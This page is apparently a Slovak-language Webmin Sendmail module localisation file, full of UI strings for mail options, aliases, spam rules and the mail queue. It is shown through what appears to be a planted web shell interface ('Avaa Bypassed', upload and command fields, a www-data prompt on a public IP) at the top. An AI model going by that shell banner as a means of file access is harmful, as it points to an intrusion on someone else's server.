[ Avaa Bypassed ]




Upload:

Command:

www-data@18.224.32.173: ~ $
index_title=Sendmail Mail Server
index_econfig=Konfiguračný súbor sendmail $1 neexistuje. Možno nie je nainštalovaný program Sendmail alebo je vaša <a href='$2'>konfigurácia modulu</a> nesprávna.
index_eversion=Zdá sa, že váš konfiguračný súbor sendmail nie je pre najnovšiu verziu sendmail. Webmin podporuje iba verzie 8.8 a vyššie.
index_epath=Spustiteľný program Sendmail $1 nie je nainštalovaný vo vašom systéme. Možno je vaša <a href='$2'>konfigurácia modulu</a> nesprávna alebo nie je nainštalovaný sendmail.
index_return=sendmail konfigurácia
index_stop=Zastavte Sendmail
index_stopmsg=Kliknutím na toto tlačidlo zastavíte bežiaci proces odosielania pošty. Toto zastaví doručovanie pošty lokálnym používateľom z iných systémov a zabráni klientom používať tento systém ako poštový server na odosielanie pošty.
index_start=Spustite program Sendmail
index_startmsg=Kliknutím na toto tlačidlo spustíte sendmail príkazom $1. Pokiaľ sa tak nestane, pošta nebude doručená miestnym používateľom z iných systémov a klienti nebudú môcť tento systém používať ako poštový server.
index_version2=Sendmail verzia $1, config $2 
index_xversion=Sendmail verzia $1 
index_version=Sendmail config $1 
index_sendmail=Poslať mail

opts_title=Sendmail Options
opts_ecannot=Nemáte oprávnenie upravovať možnosti odosielania pošty
opts_ds=Odošlite odchádzajúcu poštu prostredníctvom hostiteľa
opts_direct=Doručte priamo
opts_dr=Odošlite nekvalifikované používateľské mená na hosťovanie
opts_dh=Preposielajte poštu miestnym používateľom na hostovanie
opts_local=Doručujte lokálne
opts_queuela=Maximálny priemer načítania
opts_refusela=Priemer maximálneho zaťaženia pre príjem
opts_maxch=Max procesy dieťaťa
opts_throttle=Maximálny počet pripojení za sekundu
opts_minqueueage=Min. Čas pred opakovaným odoslaním
opts_runsize=Maximálna veľkosť frontu
opts_queuereturn=Čas pred vzdaním sa
opts_queuewarn=Čas pred odoslaním varovania
opts_queue=Adresár poštovej fronty
opts_postmaster=Poslať chybové správy
opts_forward=Súbory preposielané používateľom
opts_minfree=Minimálne voľné miesto na disku
opts_maxmessage=Maximálna veľkosť správy
opts_loglevel=Úroveň protokolu
opts_mimebounce=MIME-zakódované správy o odchodoch?
opts_default=štandardné
opts_save=Uložiť a použiť
opts_err=Možnosti sa nepodarilo uložiť
opts_ehost=$1 nie je platný názov hostiteľa alebo domény
opts_einvalid=$1 nie je platná hodnota pre $2
opts_blame=Možnosti zabezpečenia súborov
opts_selected=Vybraný ..
opts_blocks=bloky
opts_bytes=bajtov
opts_dmode=Režim doručenia
opts_background=Pozadie
opts_queue-only=Iba vo fronte
opts_interactive=interaktívne
opts_deferred=odložené
opts_gecos=Prijímať poštu pre skutočné mená používateľov?
opts_hops=Maximálny počet poštových smerovaní
opts_daemon=Možnosti portu SMTP
opts_maxbad=Maximálny počet zlých príjemcov
opts_maxrcpt=Maximálny počet príjemcov na správu
opts_below=Zadané nižšie ..
opts_qso=Zoradiť frontu pošty podľa
opts_priority=priorita
opts_host=Meno hosťa
opts_time=Čas prijatý

aliases_title=Aliasy pošty
aliases_ecannot=Nemáte oprávnenie upravovať aliasy
aliases_enofile=V konfigurácii Sendmailu nie je definovaný žiadny súbor aliasu
aliases_addr=adresa
aliases_to=Alias ..
aliases_type1=Adresa 1
aliases_type2=Adresy v súbore $1 
aliases_type3=Súbor $1 
aliases_type4=Program $1 
aliases_type5=Autoreply file $1 
aliases_type6=Použiť súbor filtra $1 
aliases_none=nikto
aliases_return=zoznam aliasov
aliases_toomany=Vo vašom systéme je príliš veľa aliasov na zobrazenie na tejto stránke.
aliases_go=Nájsť zodpovedajúce aliasy:
aliases_delete=Odstrániť vybraté aliasy

aform_ecannot=Nemáte oprávnenie upravovať tento alias
aform_type0=nikto
aform_type1=Emailová adresa
aform_type2=Adresy v súbore
aform_type3=Zápis do súboru
aform_type4=Krmivo do programu
aform_type5=Autoreply zo súboru
aform_type6=Použiť súbor filtra
aform_edit=Upraviť alias
aform_create=Vytvorenie aliasu
aform_name=adresa
aform_enabled=Povolené?
aform_file=Pridať do súboru s aliasy
aform_val=Alias to
aform_afile=Edit ..
aform_return=prezývka
aform_cmt=popis

afile_title=Upraviť súbor s adresou
afile_desc=Pomocou textovej oblasti nižšie upravte adresy v súbore $1.
afile_efile=Nemáte oprávnenie upravovať $1.
afile_undo=Vrátiť zmeny
afile_ewrite=Nepodarilo sa zapísať do súboru s adresami : $1 

ffile_title=Upraviť súbor filtra
ffile_desc=Použite nasledujúci formulár na nastavenie pravidiel filtrovania v súbore $1.
ffile_efile=Nemáte oprávnenie upravovať $1.
ffile_line=Ak je pole $1 $2 $3 potom postúpené na $4 
ffile_from=z
ffile_to=na
ffile_subject=predmet
ffile_cc=CC
ffile_body=telo
ffile_what0=nezodpovedá
ffile_what1=zápasy
ffile_other=Inak vpred na $1 
ffile_err=Súbor filtra sa nepodarilo uložiť
ffile_ematch=Chýba zápas
ffile_eaction=Chýba presmerovacia adresa

rfile_title=Upraviť autoreply súbor
rfile_desc=Pomocou textovej oblasti nižšie upravte autoreply správu v $1. Správa môže obsahovať makrá $SUBJECT, $FROM, $TO, $DATE a $BODY, ktoré sa po aktivácii autoreply budú rozširovať.
rfile_desc2=Môžete tiež nastaviť hlavičky pošty, ktoré pridávajú alebo nahrádzajú predvolené hodnoty použité v autoreply tak, že zadáte riadky ako: <br><tt> Od: foo@bar.com </tt><br> <tt>Predmet: Na dovolenke</tt> <br> v hornej časti správy, oddelené od tela jediným prázdnym riadkom.
rfile_efile=Nemáte oprávnenie upravovať $1.
rfile_undo=Vrátiť zmeny
rfile_replies=Sledujete odpovede, aby ste zabránili opakovaniu pošty?
rfile_none=žiadny
rfile_file=Áno, pomocou protokolového súboru
rfile_period=Minimálny interval medzi odpoveďami
rfile_default=Predvolené (1 hodina)
rfile_secs=sekundy
rfile_ereplies=Chýba súbor denníka sledovania odpovedí
rfile_eperiod=Medzi odpoveďami chýba alebo je neplatný počet sekúnd
rfile_no_autoreply=Neposielajte automatické odpovede
rfile_no_regexp=Neodosielajte automatické odpovede na správy zodpovedajúce regulárnym výrazom
rfile_from=Od: adresa pre odpoveď
rfile_auto=Automaticky (na základe adresy príjemcu)
rfile_efrom=Chýba od: adresa
rfile_fromdesc=Od: Adresa by sa mala uvádzať vždy, keď je to možné, pretože automatická metóda nemusí byť spoľahlivá.

asave_err=Nepodarilo sa uložiť alias
asave_ecannot2=Nemáte oprávnenie upravovať aliasy
asave_ecannot=Nemáte oprávnenie upravovať tento alias
asave_emax=Nemáte oprávnenie vytvárať viac ako $1 aliasov
asave_eaddr='$1' nie je platná adresa
asave_ealready=Alias pre $1 už existuje
asave_ematch=Môžete vytvárať iba aliasy zodpovedajúce $1
asave_etype=Nemôžete vytvoriť aliasy tohto typu
asave_etype1=$1 nie je platná e-mailová adresa
asave_etype2=Súbor s adresami „$1“ nie je platný alebo neexistuje
asave_etype3=$1 nie je platný názov súboru
asave_etype4='$1' nie je platný program alebo neexistuje
asave_etype5=Autoreply súbor '$1' nie je platný
asave_etype4none=Nie je uvedený žiadny program
asave_etype6=Súbor filtra '$1' nie je platný
asave_esame=Môžete si vytvoriť iba prezývku s rovnakým menom ako vaše prihlasovacie meno pre webmin

adelete_err=Nepodarilo sa odstrániť aliasy
adelete_enone=Žiadne vybraté
adelete_ecannot=Nemáte povolenie odstrániť alias $1 

cws_title=Lokálne domény
cws_ecannot=Nemáte oprávnenie upravovať miestne domény
cws_domains=Domény spracované týmto serverom
cws_desc1=Okrem pošty na $1 bude služba sendmail akceptovať iba poštu na miestnu dodávku pre domény a názvy hostiteľov uvedené v textovom poli nižšie. Ak chcete, aby váš poštový server spracovával viac e-mailových domén, musia byť všetky uvedené v tomto formulári.
cws_desc2=Všimnite si, že iba zahrnutie domény do zoznamu nestačí. Musíte sa tiež uistiť, že existuje záznam DNS pre doménu a odkazovať na váš systém.
cws_err=Lokálne domény sa nepodarilo uložiť
cws_ehost=$1 nie je platný názov hostiteľa alebo domény
cws_eip=$1 je IP adresa, nie doména

masq_title=Maškaráda domén
masq_ecannot=Nemáte dovolené nakonfigurovať maskovanie
masq_domain=Maškaráda ako doména
masq_domains=Domény, ktoré sa majú maskovať
masq_ndomains=Domény, ktoré sa nemajú maskovať
masq_desc1=Ak je doména uvedená nižšie, funkcia sendmail zmení adresu <tt>Z</tt> všetkých odchádzajúcich správ tak, aby sa zdala pochádzať z tejto domény. Okrem toho budú mať všetky e-mailové správy, ktoré prechádzajú systémom z jedného z hostiteľov alebo domén uvedených nižšie, tiež svoje adresy <tt>Z</tt> upravené rovnakým spôsobom. Upozorňujeme, že akékoľvek tu definované maskovanie domén môže byť pre konkrétnych používateľov nahradené pomocou stránky <a href='$1'>Odchádzajúce adresy</a>.
masq_desc2=Táto funkcia môže byť užitočná, ak chcete, aby e-maily zo systému pochádzajú skôr z názvu vašej domény ako z vášho názvu hostiteľa, alebo ak je váš systém poštovým uzlom pre počet ďalších hostiteľov, ktorí prevádzkujú svoje vlastné poštové servery.
masq_err=Nepodarilo sa uložiť maskovanie domén
masq_edomain=$1 nie je platnou doménou na maskovanie ako
masq_ehost=$1 nie je platný názov hostiteľa alebo domény
masq_eip=$1 je IP adresa, nie doména

trusts_title=Dôveryhodní používatelia
trusts_ecannot=Nemáte oprávnenie upravovať dôveryhodných používateľov
trusts_users=Lokálni používatelia, ktorým dôveruje služba sendmail
trusts_desc=Ak sa miestny používateľ pokúša odoslať e-mail, funkcia sendmail mu umožní poskytnúť inú adresu <tt>From:</tt>, ak je používateľ uvedený v zozname nižšie. Toto obmedzenie existuje, aby sa používateľom zabránilo falšovať e-maily s falošnými adresami <tt>From:</tt> z vášho systému.
trusts_err=Uloženie dôveryhodných používateľov zlyhalo
trusts_euser=$1 nie je platný používateľ

virtusers_title=Mapovanie adresy
virtusers_ecannot=Nemáte dovolené upravovať mapovania adries
virtusers_efeature=Vaša konfigurácia sendmail nemá povolenú funkciu mapovania adries (<tt>virtuser</tt>). <a href='$1'>Kliknite sem</a> a nastavte funkcie sendmailu.
virtusers_efile=Textový súbor $1, z ktorého je zostavená databáza mapovania adries $2, neexistuje. Možno budete musieť upraviť <a href='$3'>konfiguráciu modulu</a>, aby ste mohli používať správnu cestu.
virtusers_createfile=Ak bola táto funkcia práve povolená, <a href='$1'>kliknutím sem</a> vytvorte súbor.
virtusers_desc1=Mapovania adries sú podobné ako <a href='$1'>aliasy</a>, ale sú vhodnejšie pre systém, ktorý spracováva viacero e-mailových domén. Môžu sa použiť na presmerovanie pošty pre celú doménu na jednu adresu, spracúvanie používateľov s rovnakým menom v rôznych doménach alebo mapovanie všetkej pošty z jednej domény do druhej.
virtusers_desc2=Upozorňujeme, že musíte mať v tabuľke <a href='$1'>lokálnych domén</a> záznam pre všetky domény, ktoré sa používajú na mapovanie adries, a pre každú doménu smerujúcu do vášho systému musí existovať záznam DNS MX.
virtusers_for=E-mail pre ..
virtusers_to=Poslať ..
virtusers_error=Chyba $1 
virtusers_domain=Doména $1 
virtusers_address=Adresa 1
virtusers_cmt=popis
virtusers_return=zoznam mapovania adries
virtusers_toomany=Vo vašom systéme je príliš veľa mapovaní adries na zobrazenie na tejto stránke.
virtusers_go=Nájdite priradenia mapovaní adries:
virtusers_delete=Odstrániť vybraté mapovania adries

vform_edit=Upraviť mapovanie adries
vform_create=Vytvorenie mapovania adries
vform_for=Mail pre
vform_address=adresa
vform_domain=doména
vform_to=Poslať
vform_msg=správa
vform_error=Chyba vrátenia
vform_cmt=popis
vform_err_nouser=žiadny použivatel
vform_err_nohost=Žiadny taký hostiteľ
vform_err_unavailable=nedostupné
vform_err_tempfail=Dočasné zlyhanie
vform_err_protocol=Chyba protokolu
vform_end=Presunúť do konca
vform_ecannot=Nemáte oprávnenie upravovať toto mapovanie adries

vsave_ecannot=Nemáte dovolené upravovať mapovania adries
vsave_ecannot2=Nemáte oprávnenie upravovať toto mapovanie adries
vsave_emax=Nemáte oprávnenie vytvárať viac ako $1 mapovaní adries
vsave_err=Mapovanie adresy sa nepodarilo uložiť
vsave_efrom='$1' nie je platná adresa
vsave_efromdup=Mapovanie adries pre '$1' je už definované
vsave_edom=$1 nie je platná doména
vsave_edomdup=Mapovanie adries pre '$1' je už definované
vsave_ematch=Zdrojová adresa sa nezhoduje s $1
vsave_esame=Mapy adries môžete vytvárať iba pre svoje používateľské meno
vsave_ecannot3=Nemáte dovolené vytvárať mapovania na adresy
vsave_eaddr='$1' nie je platná adresa
vsave_ecannot4=Nemáte oprávnenie vytvárať mapovania domén
vsave_edomdom=Do inej domény je možné mapovať iba doménu
vsave_ecannot5=Nemáte oprávnenie vytvárať mapovania, ktoré vracajú chybu

vdelete_err=Nepodarilo sa odstrániť mapovania adries
vdelete_ecannot=Nemáte povolenie vymazať mapovanie pre $1 

mailers_title=Smerovanie domén
mailers_cannot=Nemáte oprávnenie upravovať smerovanie domén
mailers_edirective=Váš konfiguračný súbor sendmail nemá potrebnú smernicu na smerovanie domény.
mailers_efeature=Vaša konfigurácia sendmail nemá povolenú funkciu smerovania domény (<tt>mailertable</tt>). <a href='$1'>Kliknite sem</a> a nastavte funkcie sendmailu.
mailers_efile=Textový súbor $1, z ktorého je zostavená smerovacia databáza $2 domény, neexistuje. Možno budete musieť upraviť <a href='$3'>konfiguráciu modulu</a>, aby ste mohli používať správnu cestu.
mailers_desc1=Smerovanie domén poskytuje spôsob, ako definovať špeciálny spôsob prenosu pošty pre určité domény. To môže byť užitočné, ak je váš systém bránou pre poštové servery, ku ktorým sa nedá dostať mimo vašej siete, alebo ak chcete vynútiť smerovanie všetkej pošty pre konkrétnu doménu cez iný server.
mailers_desc2=Mali by ste <b>nemali</b> mať záznam v zozname <a href='$1'>miestnych domén</a> pre všetky smerované domény. Mali by ste však mať záznam DNS MX smerujúci do systému pre všetky domény, pre ktoré je bránou.
mailers_desc3=Mali by ste mať tiež záznam v zozname <a href='$1'>prenosových domén</a> pre každú doménu.
mailers_for=E-mail pre ..
mailers_delivery=dodávka
mailers_to=Poslať ..
mailers_return=smerovací zoznam domén
mailers_delete=Odstránenie vybratých doménových trás

mform_edit=Upraviť smerovanie
mform_create=Vytvoriť smerovanie
mform_for=Mail pre
mform_host2=Hostiteľ alebo doména
mform_domain2=Všetci hostitelia v doméne
mform_domain3=Doména a všetci jej hostitelia
mform_delivery=dodávka
mform_to=Poslať
mform_ignore=Ignorujte MX pre doručovanie SMTP
mform_smtp=SMTP
mform_esmtp=Rozšírené SMTP
mform_smtp8=8-bitový SMTP
mform_relay=Relé SMTP
mform_local=Miestny používateľ
mform_prog=Krmivo do programu
mform_uucp=UUCP
mform_usenet=Príspevok na USENET
mform_fax=HylaFax
mform_pop=POP3
mform_procmail=procmail
mform_mail11=DECnet mail11
mform_error=Chyba
mform_ecannot=Nemáte oprávnenie upravovať smerovanie domén

msave_ecannot=Nemáte oprávnenie upravovať smerovanie domén
msave_err=Nepodarilo sa uložiť smerovanie domény
msave_edomain=$1 nie je platný hostiteľ ani doména
msave_edup=Smerovanie domény pre '$1' je už definované

mdelete_err=Odstránenie smerovača domény zlyhalo
mdelete_ecannot=Nemáte povolenie vymazať trasu pre $1 

generics_title=Odchádzajúce adresy
generics_cannot=Nemáte oprávnenie upravovať odchádzajúce adresy
generics_econfig=Váš konfiguračný súbor sendmail nemá potrebnú smernicu na mapovanie odchádzajúcich adries.
generics_efeature=Vaša konfigurácia sendmail nemá povolenú funkciu mapovania odchádzajúcich adries (<tt>generics</tt>). <a href='$1'>Kliknite sem</a> a nastavte funkcie sendmailu.
generics_efile=Textový súbor $1, z ktorého je zostavená databáza odchádzajúcich adries $2, neexistuje. Možno budete musieť upraviť <a href='$3'>konfiguráciu modulu</a>, aby ste mohli používať správnu cestu.
generics_desc1=Mapovanie odchádzajúcich adries vám umožňuje upraviť adresy <tt>From:</tt> e-mailov odosielaných z vášho systému alebo prostredníctvom vášho systému inými hostiteľmi vo vašej lokálnej sieti. Toto môže byť užitočné, ak hostujete viac domén v jednom systéme a chcete, aby pošta od niektorých používateľov pochádzala z inej domény.
generics_desc2=Upozorňujeme, že v tabuľke <a href='$1'>odchádzajúcich domén</a> musíte mať záznam pre každú doménu, pre ktorú existujú adresy, pre ktoré chcete urobiť odchádzajúce mapovanie. Upozorňujeme tiež, že mapovanie odchádzajúcich adries nefunguje pri doručovaní pošty miestnym používateľom.
generics_from=Pošta od ..
generics_to=Zmeniť na ..
generics_return=zoznam mapovania adries
generics_toomany=Vo vašom systéme je príliš veľa odchádzajúcich adries na zobrazenie na tejto stránke.
generics_go=Nájsť zodpovedajúce odchádzajúce adresy:
generics_delete=Odstrániť vybrané odchádzajúce adresy

gform_edit=Upraviť mapovanie
gform_create=Vytvorenie mapovania
gform_from=Pošta od
gform_to=Zmeniť na
gform_ecannot=Túto odchádzajúcu adresu nemáte dovolené upravovať

gsave_ecannot=Nemáte oprávnenie upravovať odchádzajúce adresy
gsave_ecannot2=Túto odchádzajúcu adresu nemáte dovolené upravovať
gsave_ecannot3=Túto odchádzajúcu adresu nemáte dovolené ukladať
gsave_err=Uloženie odchádzajúcej adresy zlyhalo
gsave_efrom='$1' nie je platný z adresy
gsave_ematch=Adresa z adresy nezodpovedá $1
gsave_eto=$1 nie je platná nová adresa
gsave_ealready=Mapovanie odchádzajúcej adresy pre '$1' už existuje

gdelete_err=Odstránenie mapovania odchádzajúcej adresy zlyhalo
gdelete_ecannot=Nemáte povolenie vymazať mapovanie pre $1 

cgs_title=Odchádzajúce domény
cgs_ecannot=Nemáte oprávnenie upravovať odchádzajúce domény
cgs_header=Domény odchádzajúcich adries
cgs_desc=Okrem pošty odosielanej miestnymi používateľmi bude služba sendmail vykonávať iba mapovanie odchádzajúcej adresy <a href='$1'></a> pre poštu od hostiteľov alebo domén uvedených v nižšie uvedenom textovom poli. Teda, aby položka odchádzajúcej adresy fungovala v doméne z adresy, musí byť zahrnutá v tomto zozname.
cgs_err=Uloženie odchádzajúcich domén zlyhalo
cgs_ehost=$1 nie je platný názov hostiteľa alebo domény
cgs_eip=$1 je IP adresa, nie doména

domains_title=Mapovanie domén
domains_ecannot=Nemáte oprávnenie upravovať mapovanie domén
domains_econfig=Váš konfiguračný súbor sendmail nemá potrebnú smernicu na mapovanie domén.
domains_efeature=Vaša konfigurácia sendmail nemá povolenú funkciu mapovania domény (<tt>domaintable</tt>). <a href='$1'>Kliknite sem</a> a nastavte funkcie sendmailu.
domains_efile=Textový súbor $1, z ktorého je zostavená databáza mapovania domén $2, neexistuje. Možno budete musieť upraviť <a href='$3'>konfiguráciu modulu</a>, aby ste mohli používať správnu cestu.
domains_desc=Mapovanie domén upravuje adresu <tt>Do:</tt> správ odosielaných od používateľov, odosielaných prostredníctvom alebo doručených používateľom vo vašom systéme. Upravená je aj adresa <tt>From:</tt> prenášaných správ alebo správ miestnym používateľom. Môže to byť užitočné, ak sa zmení názov vašej domény a vy chcete zmeniť všetky výskyty starej domény na novú.
domains_from=Z domény ..
domains_to=Do domény ..
domains_return=zoznam mapovania domén
domains_delete=Odstrániť vybraté mapovania domén

dform_edit=Upraviť mapovanie
dform_create=Vytvorenie mapovania
dform_from=Z domény
dform_to=Do domény
dform_ecannot=Nemáte oprávnenie upravovať mapovanie domén

dsave_ecannot=Nemáte oprávnenie upravovať mapovanie domén
dsave_err=Mapovanie domény sa nepodarilo uložiť
dsave_edomain=$1 nie je platný názov domény
dsave_ealready=Mapovanie domény „$1“ už existuje

ddelete_err=Nepodarilo sa odstrániť mapovania domén
ddelete_ecannot=Nemáte povolenie vymazať mapovanie pre $1 

access_title=Kontrola spamu
access_ecannot=Nemáte povolenie na kontrolu spamu
access_efeature=Vaša konfigurácia sendmail nemá povolenú funkciu kontroly spamu (<tt>access_db</tt>). <a href='$1'>Kliknite sem</a> a nastavte funkcie sendmailu.
access_efile=Textový súbor $1, z ktorého je zostavená databáza na kontrolu nevyžiadanej pošty $2, neexistuje. Možno budete musieť upraviť <a href='$3'>konfiguráciu modulu</a>, aby ste mohli používať správnu cestu.
access_desc1=Funkcia kontroly nevyžiadanej pošty v službe Sendmail vám umožňuje zabrániť spamu osloviť vašich používateľov odmietnutím pošty z určitých adries a zabrániť spammerom v používaní systému na prenos pošty. V predvolenom nastavení bude služba sendmail prijímať poštu z ľubovoľnej adresy pre miestneho používateľa, ale zabráni klientovi alebo poštovému serveru v preposielaní pošty prostredníctvom vášho systému. Spravidla by ste pridali pravidlá kontroly nevyžiadanej pošty na odmietnutie pošty od spamerov a pravidlá, ktoré umožnia ostatným počítačom vo vašej sieti prenášať poštu cez váš systém.
access_desc2=Upozorňujeme, že funkcia sendmail v predvolenom nastavení umožní poštovým klientom bežiacim vo vašom systéme prenášať poštu cez SMTP do ľubovoľného cieľa. Preto nie je potrebné pridávať miestnu sieť <tt>127.0.0</tt> do zoznamu tých, ktorí majú povolenie na prenos.
access_source=Zdroj ..
access_action=Akcia ..
access_return=zoznam kontroly spamu
access_toomany=Na vašom systéme je príliš veľa pravidiel na kontrolu nevyžiadanej pošty, ktoré sa môžu zobraziť na tejto stránke.
access_go=Nájdite pravidlá na kontrolu nevyžiadanej pošty zodpovedajúce:
access_delete=Odstrániť vybrané pravidlá kontroly spamu

sform_edit=Upraviť pravidlo kontroly spamu
sform_create=Vytvorte pravidlo kontroly spamu
sform_source=Zdroj pošty
sform_type0=Emailová adresa
sform_type1=sieť
sform_type2=užívateľ
sform_type3=doména
sform_tag=Zápas proti
sform_tag_=všetko
sform_tag_from=Od: adresa
sform_tag_to=Adresovať
sform_tag_connect=Informácie o pripojení
sform_tag_spam=Informácie o spamu
sform_action=akčné
sform_ok=súhlasiť
sform_relay=Povoliť relé
sform_reject=Odmietnuť
sform_discard=Zlikvidujte ticho
sform_err=Kód chyby
sform_msg=správa
sform_ecannot=Nemáte povolenie upravovať toto pravidlo kontroly spamu

ssave_err=Pravidlo kontroly spamu sa nepodarilo uložiť
ssave_etype0='$1' nie je platná adresa
ssave_etype1=$1 nie je platná sieťová adresa
ssave_etype2=$1 nie je platné používateľské meno
ssave_etype3=$1 nie je platná doména
ssave_ecode=$1 nie je platný chybový kód SMTP
ssave_ealready=Pravidlo kontroly spamu pre $1 už existuje
ssave_ecannot2=Toto pravidlo kontroly spamu nemôžete ukladať

sdelete_err=Nepodarilo sa odstrániť pravidlá kontroly spamu
sdelete_ecannot=Nemáte povolenie na odstránenie pravidla pre $1 

relay_title=Reléové domény
relay_ecannot=Nemáte oprávnenie upravovať prenosové domény
relay_eversion=Funkciu prenosu domén podporujú iba funkcie sendmail verzie 8.9 a vyššie.
relay_domains=Domény, do ktorých je povolené odovzdávanie
relay_desc1=Pokiaľ to nepovoľujú pravidlá <a href='$1'>kontroly spamu</a>, služba sendmail povoľuje prenos iba do domén uvedených v nižšie uvedenom textovom poli. Prichádzajúce e-mailové správy, ktoré nie sú určené pre miestneho používateľa ani pre niektorú z uvedených domén, budú zamietnuté.
relay_desc2=Ak váš systém slúži ako brána pre niekoľko domén, ktoré nie sú priamo prístupné mimo vašej siete (pomocou funkcie <a href='$1'>smerovanie domén</a>), mali by ste tu uviesť všetky tieto domény.
relay_err=Nepodarilo sa uložiť reléové domény
relay_edomain=$1 nie je platný názov domény

mailq_title=Poštový front
mailq_count=Počet správ: $1 
mailq_ecannot=Nemáte povolenie na prezeranie e-mailového frontu
mailq_id=ID pošty
mailq_sent=odoslané
mailq_from=z
mailq_to=na
mailq_size=veľkosť
mailq_status=Postavenie
mailq_cc=cc
mailq_subject=predmet
mailq_dir=adresár
mailq_unknown=nevedno
mailq_sending=odoslanie
mailq_dmsg=Ak si chcete zobraziť správu z e-mailového frontu, kliknite na jej ID v zozname vyššie.
mailq_force=Ak chcete vynútiť okamžité doručenie pošty v rade, <a href='$1'>kliknite sem</a>.
mailq_none=Momentálne nie sú k dispozícii žiadne poštové správy na odoslanie
mailq_delete=Odstrániť vybrané správy
mailq_locked=Aj keď sú zamknuté
mailq_return=frontu pošty
mailq_flush=Vyprázdniť frontu pošty
mailq_flushsel=Vyprázdniť vybrané správy
mailq_flushdesc=Kliknutím na toto tlačidlo vynútite okamžité doručenie všetkých správ vo fronte a zobrazíte výsledky.
mailq_flushquar=Splachovacia fronta v karanténe
mailq_flushquardesc=Kliknutím na toto tlačidlo vynútite doručovanie iba správ v karanténe vo fronte.
mailq_search=Nájdite správy vo fronte, kde
mailq_quar=karanténe
mailq_refresh=Obnoviť frontu pošty
mailq_refreshdesc=Načítaním tejto stránky zobrazíte aktuálny stav frontu pošty.

flushq_title=Splachovacia fronta
flushq_desc=Vynútenie pokusu o doručenie všetkých správ pomocou príkazu $1 ..
flushq_desc2=Vynútiť pokus o doručenie vybraných správ: $1.
flushq_ecannot=Nemáte dovolené vyprázdniť frontu pošty

searchq_title=Výsledky vyhľadávania vo fronte
searchq_none=Nenašli sa žiadne správy vo fronte.

delq_err=Správu sa nepodarilo odstrániť
delq_ecannot=Nemáte oprávnenie odstraňovať správy
delq_locked=Súbor je momentálne zablokovaný na odoslanie
delq_enone=Nie sú vybrané žiadne správy na odstránenie
delq_titles=Odstraňovanie správ
delq_file=Odstraňuje sa poštový súbor $1 ..
delq_efile=neplatný názov súboru!
delq_egone=už boli odstránené alebo doručené
delq_elocked=uzamknuté pre odoslanie
delq_ok=odstránené ok
delq_title=Odstrániť správu
delq_force=Vynútiť odstránenie napriek tomu
delq_ecannot2=túto správu nemôžete odstrániť
delq_rusure=Naozaj chcete odstrániť správy vo fronte $1 vybrané?
delq_confirm=Odstrániť správy

boxes_title=Používateľské schránky
boxes_user=užívateľ
boxes_size=Veľkosť poštovej schránky
boxes_none=Žiadna pošta
boxes_return=poštových schránok
boxes_sent=Odoslaná pošta
boxes_ecannot=Nemáte oprávnenie čítať e-maily
boxes_toomany=Vo vašom systéme je príliš veľa používateľov na to, aby uviedli všetky svoje poštové schránky.
boxes_go=Zobraziť poštu pre používateľa:

mail_title=E-mail používateľa
mail_from=z
mail_date=Dátum
mail_subject=predmet
mail_to=na
mail_cc=cc
mail_bcc=skrytá
mail_pri=priorita
mail_highest=najvyššiu
mail_high=vysoký
mail_normal=normálne
mail_low=nízky
mail_lowest=najnižšia
mail_for=V $1 
mail_for2=Pre používateľa $1 
mail_sent=V zozname odoslaných správ
mail_size=veľkosť
mail_delete=delete
mail_compose=Compose
mail_return=schránka používateľa
mail_pos=Správy $1 až $2 z $3 
mail_none=Táto poštová schránka neobsahuje žiadne správy
mail_euserexists=Tento používateľ Unix neexistuje
mail_ecannot=Nemáte oprávnenie čítať e-maily tohto používateľa
mail_all=Vybrať všetko
mail_invert=Obrátiť výber
mail_search=Nájsť správy, kde
mail_body=telo
mail_match=zápasy
mail_ok=Vyhľadávanie
mail_nonefrom=nikto
mail_mark=Označiť ako:
mail_mark0=neprečítaný
mail_mark1=Čítať
mail_mark2=špeciálna
mail_forward=vpred
mail_move=Presunúť do:
mail_copy=Kopírovať do:
mail_rfc=Z riadku
mail_eexists=Správa už neexistuje!

view_title=Prečítajte si e-mail
view_desc=Správa $1 v $2 
view_desc2=Správa $1 pre používateľa $2 
view_desc3=Správa $1 
view_sent=Správa $1 v zozname odoslaných správ
view_qdesc=Správa vo fronte $1 
view_headers=Hlavičky pošty
view_body=Text správy
view_allheaders=Zobraziť všetky hlavičky
view_noheaders=Zobraziť základné hlavičky
view_attach=prílohy
view_reply=odpoveď
view_reply2=Odpovedať všetkým
view_enew=Upraviť ako nové
view_forward=vpred
view_delete=delete
view_flush=Spláchnuť
view_print=vytlačiť
view_strip=Odstráňte prílohy
view_ecannot=Nemáte oprávnenie čítať e-maily tohto používateľa
view_mark=Označiť správu ako:
view_mark0=neprečítaný
view_mark1=Čítať
view_mark2=špeciálna
view_return=pôvodný e-mail
view_sub=Priložený e-mail
view_egone=Táto správa už neexistuje
view_afile=Názov prílohy
view_atype=Typ prílohy
view_aname=Príloha
view_asize=Veľkosť súboru

compose_title=Napíšte e-mail
reply_title=Odpoveď na e-mail
forward_title=Poslať ďalej e-mailom
enew_title=Upraviť e-mail
reply_headers=Hlavičky pošty
reply_attach=Preposlané prílohy
reply_mailforward=Preposlané správy
reply_attach2=Prílohy na strane klienta a servera
reply_send=Poslať mail
reply_ecannot=Ako tento používateľ nemáte povolenie odosielať poštu
reply_body=Text správy

send_err=Nepodarilo sa odoslať poštu
send_eto=Chýba adresa
send_efrom=Chýba adresa
send_title=Pošta odoslaná
send_ok=Pošta bola úspešne odoslaná na $1 
send_ecannot=Ako tento používateľ nemáte povolenie odosielať poštu
send_esmtp=Príkaz SMTP $1 zlyhal : $2 
send_efile=Pripojený súbor $1 neexistuje
send_eattach=Prílohy nemôžu presahovať celkovú veľkosť $1 kB.
send_eperms=Používateľ $1 nemôže čítať $2 
send_eperms2=Nemáte oprávnenie odosielať súbor $1 
send_epath=Spustiteľný súbor Sendmail $1 neexistuje.

delete_title=Odstrániť poštu
delete_rusure=Naozaj chcete odstrániť $1 vybrané správy z $2 ? V prípade veľkého poštového súboru to môže chvíľu trvať. Kým nebude vymazanie ukončené, nemala by sa vykonávať žiadna iná akcia.
delete_rusure2=Naozaj chcete odstrániť túto správu z $1 ? V prípade veľkého poštového súboru to môže chvíľu trvať. Kým nebude vymazanie ukončené, nemala by sa vykonávať žiadna iná akcia.
delete_ok=Odstrániť teraz
delete_ecannot=Teraz máte povolenie odstrániť poštu od tohto používateľa
delete_enone=Nebol vybratý žiadny e-mail na odstránenie
delete_emnone=Na označenie nebol vybratý žiadny e-mail
delete_efnone=Na odoslanie ďalej nie je vybratý žiadny e-mail
delete_emoveuser=Používateľ, ktorý presunul poštu, neexistuje
delete_emovecannot=Nemáte dovolené presúvať poštu k uvedenému používateľovi
